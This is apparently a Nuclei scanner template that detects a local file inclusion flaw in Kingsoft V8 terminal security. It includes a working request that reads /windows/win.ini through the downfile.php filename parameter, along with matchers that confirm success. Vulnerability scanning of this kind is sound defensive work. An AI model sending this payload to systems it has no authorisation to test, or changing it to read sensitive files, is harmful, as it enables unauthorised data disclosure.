kingsoft-v8-file-read: Kingsoft 8 - Local File Inclusion

id: kingsoft-v8-file-read

info:
  name: Kingsoft 8 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: Kingsoft 8 is vulnerable to local file inclusion.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/b6f8fbfef46ad1c3f8d5715dd19b00ca875341c2/_book/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E9%87%91%E5%B1%B1/%E9%87%91%E5%B1%B1%20V8%20%E7%BB%88%E7%AB%AF%E5%AE%89%E5%85%A8%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: kingsoft,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/htmltopdf/downfile.php?filename=/windows/win.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "for 16-bit app support"
          - "[extensions]"
        condition: and

      - type: word
        part: header
        words:
          - "application/zip"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210098ba8f9efb9a7e76b0b1d040f01e9aca88ab0cb9d78856beb8844625151617c30220246633232fdb20a7acce1235ce73a36b4bede394ba6036bba898734dbb0f1ca6:922c64590222798bb761d5b6d8e72950